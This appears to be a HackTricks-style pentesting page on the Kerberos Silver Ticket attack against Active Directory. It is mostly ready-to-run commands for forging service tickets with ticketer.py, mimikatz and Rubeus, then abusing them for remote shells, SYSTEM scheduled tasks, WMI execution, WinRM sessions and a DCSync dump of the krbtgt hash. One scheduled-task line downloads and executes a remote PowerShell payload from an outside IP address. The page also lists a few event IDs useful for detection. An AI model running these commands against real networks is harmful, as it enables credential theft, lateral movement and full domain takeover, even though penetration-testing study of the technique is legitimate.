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Silver Ticket

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Silver ticket

The Silver Ticket attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on acquiring the NTLM hash of a service account, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, impersonating any user, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.
For ticket crafting, different tools are employed based on the operating system:

On Linux

python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

On Windows

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries.

Available Services

Service Type
Service Silver Tickets
WMI
HOST
RPCSS
PowerShell Remoting
HOST
HTTP
Depending on OS also:
WSMAN
RPCSS
WinRM
HOST
HTTP
In some occasions you can just ask for: WINRM
Scheduled Tasks
HOST
Windows File Share, also psexec
CIFS
LDAP operations, included DCSync
LDAP
Windows Remote Server Administration Tools
RPCSS
LDAP
CIFS
Golden Tickets
krbtgt
Using Rubeus you may ask for all these tickets using the parameter:
  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Silver tickets Event IDs

  • 4624: Account Logon
  • 4634: Account Logoff
  • 4672: Admin Logon

Abusing Service tickets

In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.

CIFS

With this ticket you will be able to access the C$ and ADMIN$ folder via SMB (if they are exposed) and copy files to a part of the remote filesystem just doing something like:
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
You will also be able to obtain a shell inside the host or execute arbitrary commands using psexec:

HOST

With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands:
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

With these tickets you can execute WMI in the victim system:
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
#You can also use wmic
wmic remote.computer.local list full /format:list
Find more information about wmiexec in the following page:

HOST + WSMAN (WINRM)

With winrm access over a computer you can access it and even get a PowerShell:
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
Check the following page to learn more ways to connect with a remote host using winrm:
Note that winrm must be active and listening on the remote computer to access it.

LDAP

With this privilege you can dump the DC database using DCSync:
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
Learn more about DCSync in the following page:

References

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Other ways to support HackTricks: